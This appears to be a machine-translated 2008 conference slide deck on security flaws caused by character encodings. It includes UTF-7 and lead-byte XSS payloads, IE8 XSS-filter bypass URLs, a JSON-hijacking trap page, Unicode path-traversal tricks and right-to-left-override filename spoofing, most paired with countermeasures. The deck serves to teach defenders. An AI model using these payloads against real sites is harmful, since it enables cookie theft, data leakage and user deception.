JSON Hijacking with UTF-7 (English translation)

JSON Hijacking with UTF-7 - Yosuke Hasegawa, Publisher not stated.

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Content (translated into English)

Machine translation of `json-hijacking-utf-7.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

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JSON Hijacking with UTF-7

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Attacking with Character Encoding for Profit and Fun POC2008 Yosuke HASEGAWA hasegawa@utf-8.jp

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Yosuke HASEGAWA NetAgent Co., Ltd R&D dept. Microsoft MVP award for Windows Security Investigating about the security issues that a character code such as Unicode causes Discovered a lot of vulnerabilities including IE and Mozilla Firefox so far, such as CVE-2008-4020, CVE-2008-0416 , CVE-2008-1468, CVE-2007-2225, CVE-2007-2227 and more... Who am I? http://utf-8.jp/

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Introduction Comparison: match/unmatch Redundant encoding Many-to-one Conversion Upper case and Lower case Normalization Embedded invalid characters Embedded leading bytes Mismatch in charset information Interpreting 7-bit encoding Deceptive indications Characters with similar appearance Invisible characters Embedded control characters Conclusion Agenda Introduction Comparison: match / unmatch Redundant encoding Many-to-one conversion Upper

case and lower case Normalization Embedding invalid byte sequences Embedding leading bytes Mismatch in encoding information Interpreting 7 -bit character encoding Deceptive indications Visually similar characters Invisible characters Embedding control characters Conclusion

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Introduction Introduction

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What is the relation between charsets and security? What do character encodings have to do with security ?

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Web browser is Text Parser Handles text data such as HTML/XML... Web browsers are text parsers Process text data such as HTML and XML ... What's the relation between charsets and security ?

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Upgrading from legacy encoding to Unicode. EUC-JP / Shift_JIS are often mixed in Unicode Migration from legacy character encodings to Unicode Coexistence of EUC-JP and Shift_JIS with Unicode What's the relation between charsets and security ?

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Visual effect Similar lettes could be effective tools for attackers Visual effects Visually similar characters and the like are powerful tools for attackers What's the relation between charsets and security ?

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Comparison: match/unmatch Comparison: match / unmatch

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String comparison and detection Basic processing for security "confirm SAFE string to pass" or "detect DANGEROUS string" String comparison and detection Basic processing for security "confirming a safe string" and "detecting a dangerous string" Comparison: match/unmatch

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Valid Invalid Overlong forms of UTF-8 One of the traditional attack techniques UTF-8 overlong forms One of the traditional attack techniques Redundant encoding / U+002F 0x2F 0xC0 0xAF 0xF0 0x80 0x80 0xAF 0xE0 0x80 0xAF

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MS00-057 is famous. Currently, attacks like this have already become fossils.. IIS 's MS00-057 is famous An attack technique that has become a fossil Redundant encoding

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"fossils", Really? Really a fossil ?

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CVE-2008-2938 Apache Tomcat UTF-8 Directory Traversal Vulnerability Published: Aug 12 2008 Still existing issue, not past, "Living Fossil". A "living fossil" that still exists today Redundant encoding

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Countermeasure: Don't implement functions handling UTF-8 yourself. Convert all strings into UTF-16 beforehand Do not handle UTF-8 yourself Convert to UTF-16 or another encoding before processing Redundant encoding

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Conversions from Unicode to others has several "many-to-one" pairs. Conversions from Unicode to other character encodings are many-to-one Many-to-one Conversion U+005C ¥ U+00A5 \ 0x5C U+20A9 In Japan, path delimiter is displyaed as YEN-SIGN.

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Many-to-one Conversion Input string as Unicode Validation Processing ¥..¥..¥ .. .. Bypass filtering Path traversal U+00A5 U+005C Convert to other encodings

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"..\" and "..\..\Windows" is existing in "C:\temp" folder. Path traversal occurs when handling filenames as ANSI. Path traversal occurs when filenames are handled as ANSI Many-to-one Conversion

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Many-to-one Conversion DEMO

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A lot of letters converted from Unicode are "many-to-one". Many-to-one Conversion U+00A1 U+00A6 U+00C0 U+00C1 U+00C2 U+00C3 À ¡ ¦ Á Â Ã U+00C4 U+00C5 Ä Å U+00C6 Æ 0x41 A 0xA5 0x7C ! | Many characters undergo many-to-one conversion

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Contermeasure: Handle strings as Unicode,without conversion. Don't convert after validation, even if conversion is necessary. Handle strings as Unicode without converting them (even if conversion is necessary) do not convert them after validation Many-to-one Conversion

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Definition of the identification for Upper-Case and Lower-Case is different by a language culture. The definition of treating upper-case and lower-case letters as identical differs by language and culture Upper case and Lower case

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Comparison of Upper-Case and Lower-Case Upper case and Lower case Word Word Equivalent Equivalent Nonequivalent Nonequivalent Gif / GIF U.S. United States Turkey Turkey Ma ße/ MASSE Germany Germany U.S. United States Ma ße / Masse Switzerland Switzerland Germany Germany U.S. United States “ The Essence of Windows Programming ”, ASCII Corporation ,ISBN978-4-7561-5000-4,P.340 Excerpted from

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Countermeasure: Don't adopt difference between lower case and upper case as boundary of security. Never rely on case-conversion rules you expect. Do not create a security boundary based on the difference between upper-case and lower-case letters Upper case and Lower case

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Unicode supports the Compsition and Decomposition of letters. No differences in appearance, but byte sequences are different Unicode supports the decomposition and composition of characters Representations that look the same but have different byte sequences Normalization U+304C U+304B U+3099 Precomposed character Base character Combining Character

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Unicode defines four specific forms of normalization. NFC Normalization Form Canonical Composition NFD Normalization Form Canonical Decomposition NFKC Normalization Form Compatibility Composition NFKD Normalization Form Compatibility Decomposition Cannot restore original byte sequence after Normalization. Unicode defines 4 types of normalization The original byte sequence cannot be restored from the normalized result Normalization

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Normalization process changes the byte sequence into another of different meaning Normalization changes a byte sequence into one with a different meaning Normalization U+2025 U+002E . U+002E . U+2473 U+0031 1 NFKC,NFKD

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Normalization Input string as Unicode Validation Normalization Processing ¥ ¥ ¥ .. .. Bypass filtering Path traversal U+2025 U+002E

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Countermeasure: Never normalize strings after validation. Do not normalize strings after validation Normalization

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leading bytes Mismatch in charset information Interpreting 7-bit encoding Deceptive indications Characters with similar appearance Invisible characters Embedded control characters Conclusion

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Depending on the implementation, illegal byte sequence is often ignored or converted to unexpected characters. Depending on the implementation, invalid byte sequences may be ignored or converted into unexpected characters Embedded invalid characters

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Firefox prior to 2.0.0.12 had ignored 0x80 under Shift_JIS encoding. Firefox versions prior to 2.0.0.12 ignore 0x80 when using Shift_JIS Embedded invalid characters <s [0x80] c [0x80] r [0x80] ipt> alert(1) </s [0x80] c [0x80] r [0x80] ipt>

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IE ignores 0x00. IE ignores 0x00 Embedded invalid characters <s [0x00] c [0x00] r [0x00] ipt> alert(1) </s [0x00] c [0x00] r [0x00] ipt>

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IE considers 0x0B and 0x0C as delimiter. IE considers 0x0B and 0x0C to be delimiters Embedded invalid characters <script [0x0B]

```

```

alert(1) </s cr ipt> <input type=text value= a [0x0C] onmouseover=alert(1)

```

```

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Countermeasure: Generate only safe string with white listing. Use a whitelist to generate only safe strings. Embedded invalid characters

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Inject leading byte of Multi Byte Character Set(MBCS) to bypass filters Bypass filters by injecting the leading byte of a multibyte character Embedded leading bytes

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Invalidate quotation with 0x82, leading byte of Shift_JIS. Invalidate the double quotation mark with 0x82 , a leading byte of Shift_JIS Embedded leading bytes name: <input type=text value=" [0x82]"> e-mail: <input type=text value= " onmouseover=... //">

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Bypass XSS Filter of IE8 using leadbyte of MBCS. Also bypass the XSS Filter of IE8 Embedded leading bytes UTF-8 http://example.com/?%3cscript%20 %E2%3E alert(1);... http://example.com/? %E2%22 onmouseover=alert(1) Shift_JIS http://example.com/?%3cscript%20 %81%3E %3ealert(1);... EUC-JP http://example.com/?%3cscript%20 %E0%3E alert(1);... http://example.com/? %E0%22 onmouseover=alert(1)

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Countermeasure: Validate by a letter unit. Convert another encoding... Validate character by character Convert to another character encoding ... Embedded leading bytes

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Different understanding about the charset between server and client Different interpretations of charset between the server and client Mismatch in charset information <html> < > Process Escape Generate HTML User 1101100110010 0010001110110 1000010100110 0101011011110 < <

> " " & & ' ' UTF-8 UTF-7

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Typical issue is XSS with UTF-7 When charset is ambiguous, IE assumes it as UTF-7 and causes XSS. A typical example is XSS caused by UTF-7 When charset is ambiguous, IE interprets it as UTF-7, causing XSS Mismatch in charset information

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No charset is specified neither HTTP response header nor <meta> charset is not specified Mismatch in charset information HTTP/1.1 200 OK Content-Type: text/html ... <html><head> <meta http-equiv="content-type" content=" text/html "> </head><body> +ADw-script+AD4- alert(1) +ADw-/script+AD4- ...

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Unrecognizable charset name for IE A charset name that IE cannot interpret Typically wrong charset names are: CP932 / MS932 / sjis / jis / utf8 ... Mismatch in charset information <meta http-equiv='content-type' content='text/html; charset=CP932 '> +ADw-script+AD4- alert(document.cookie); +ADw-/script+AD4-

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Unrecognizable charset name for IE Google, Yahoo, IBM ... IE doesn't recognize "CP932", "CP950", "EUC" for charset name Mismatch in charset information http://www.google.com/search? oe=CP932 &q= %2bADw- ... http :// www.google.com/search? oe=CP950 &q = % 2bADw- ... http :// search.yahoo.com/search? eo=EUC &p= %2bADw- ...

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Inject fake <meta> before original it. Inject a fake <meta> before the original <meta> Mismatch in charset information <title> +ADw-/title+AD4- +ADw-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4- </title> <meta http-equiv='content-type' content='text/html;charset= euc-jp '>

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Combination of UTF-7 with Ignoring Content-Type of IE. IE6 doesn't support "application/atom+xml" for Content-Type. Determine as UTF-7 HTML by content. Mismatch in charset information HTTP/1.1 200 OK Content-Type : application/atom+xml <?xml version='1.0' encoding= 'utf-8 '?>... <title>Search: +ADw-/title+AD4- +ADw-script+AD4- ... No charset

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Countermeasure for UTF-7 XSS : Explicitly specify charset in the HTTP response header Use a charset name the browser can understand Do not place text that an attacker can control before "<meta>" Explicitly specify charset in the HTTP response header Use a charset name the browser can understand Do not place a string that an attacker can control before <meta> Mismatch in charset information

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UTF-7 issues affect not only IE and XSS, but also other browsers. The problems with UTF-7 affect not only XSS in IE, but other browsers as well Mismatch in charset information

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Yet Another JSON Hijacking with UTF-7 If no charset is specified in HTTP response header If attacker can control a part of JSON string Attacker can handle inside data of the JSON JSON Hijacking using UTF-7 No charset in the HTTP response header The attacker can control part of the JSON The data inside the JSON can be manipulated Mismatch in charset information

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JSON Hijacking with UTF-7 Mismatch in charset information [{ "name" : " abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI- ", "mail" : "hasegawa@utf-8.jp" }, { "name" : "Kanatoko", "mail" : "anvil@example.com" }] JSON for target: http://example.com/target.json Injected by the attacker No charset in HTTP response header This means...

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JSON Hijacking with UTF-7 Mismatch in charset information [{ "name" : " abc"}];var t=[{"":" ", "mail" : "hasegawa@utf-8.jp" }, { "name" : "Kanatoko", "mail" : "anvil@example.com" }] JSON for target: http://example.com/target.json No charset in HTTP response header

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JSON Hijacking with UTF-7 Mismatch in charset information <script src="http://example.com/target.json" charset=" utf-7 "></script> <script> alert(t[1].name + t[1].mail); </script> Trap page: [{ "name" : " abc"}];var t=[{"":" ", "mail" : "hasegawa@utf-8.jp" }, { "name" : "Kanatoko", "mail" : "anvil@example.com" }] Specify from outside that the JSON is encoded in UTF-7 Effective even when a setter cannot be used. Specify charset as UTF-7 from outside of JSON. No need to use **defineSetter**

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Mismatch in charset information DEMO

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Countermeasure for JSON: Place "while (1);" before JSON text. Accept only "POST", Reject access by "GET". Place while(1); before the JSON Accept only POST Mismatch in charset information

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IE ignores the most significant bit of US-ASCII. IE ignores the most significant bit of US-ASCII Interpreting 7-bit encoding 0010 0010 2 2 " 0x22 1 010 0010 A 2 0xA2 0011 1100 3 C < 0x3C 1 011 1100 B C 0xBC 0011 1110 3 E

```
```

0x3E 0xBE 1 011 1110 B E

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Interpreting 7-bit encoding

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MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit This is test mail begin 644 eicar.com #5/(5 `E0$%06S1<4%I8-30H4%XI-T-#*3=]) $5)0T%2+5-404Y$05)$+4%.75$E625)54RU415-4+49)3$4A)$@K2"I#` end OE also ignores the most significant bit of US-ASCII . Interpreting 7-bit encoding 0xCD M 0x4D 0xB6 6 0x36

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Countermeasure: Specify charset cleary on HTTP response header. Don't use US-ASCII. Use ISO-8859-1 and so on. Explicitly specify the charset in the HTTP response header Avoid US-ASCII and use ISO-8859-1 or another encoding Interpreting 7-bit encoding

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Deceptive indications Deceptive indications

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Visual effect for human being Provoke a mistake Effective and useful tool for attackers Visual effects on human beings Induce mistakes A powerful and useful tool for attackers Deceptive indications

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Such as " 1 " (Digit One) and " l " (Small letter L)... http://bank 1 .example.com/ http://bank l .example.com/ More and more on Unicode ... The digit 1 (one) and the lower-case letter l (L), among others There are many more in Unicode Characters with similar appearance

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Solidus and Division Slash Characters with similar appearance http:// example.co.jp / t.example.com /foo/bar Domain name / U+2215 / U+002F Solidus Division Slash

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Invisible byte sequence Unicode ISO-2022-JP Escape sequences Invisible characters U+200B ZERO WIDTH SPACE U+200C ZERO WIDTH NON-JOINER U+200D ZERO WIDTH JOINER U+202A LEFT-TO-RIGHT EMBEDDING U+FEFF BYTE ORDER MARK (ZWNBSP) 0x1B 0x24 0x40 0x1B 0x24 0x42 0x1B 0x28 0x42

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Using for filename, registry Invisible characters

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Invisible characters DEMO

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Unicode Bidirection (Bidi) Part of string is displayed from RIGHT to LEFT U+202E (Right-to-Left Override;RLO) Unicode bidirectional functionality (Bidi) Part of the string is displayed from right to left Embedded control characters this- (U+202E) txt.exe this-exe.txt Actual byte sequence Displayed text

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Embedded control characters this- (U+202E) txt.exe this-exe.txt Actual byte sequence Displayed text

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Embedded control characters DEMO

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Countermeasure: Prepare multiple confirmation methods SSL / EVSSL Display as Punycode Deceptive indications

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Conclusion Conclusion

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Never convert to another encoding or normalize after validating strings. Don't be deceived only by an appearance. Security issues concerning character encodings are uncultivated fields. Do not convert or normalize after validation Do not be deceived by appearances alone Character encoding × Security is unexplored territory Conclusion

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Yosuke HASEGAWA hasegawa@netagent.co.jp hasegawa@utf-8.jp http://utf-8.jp/ Questions?

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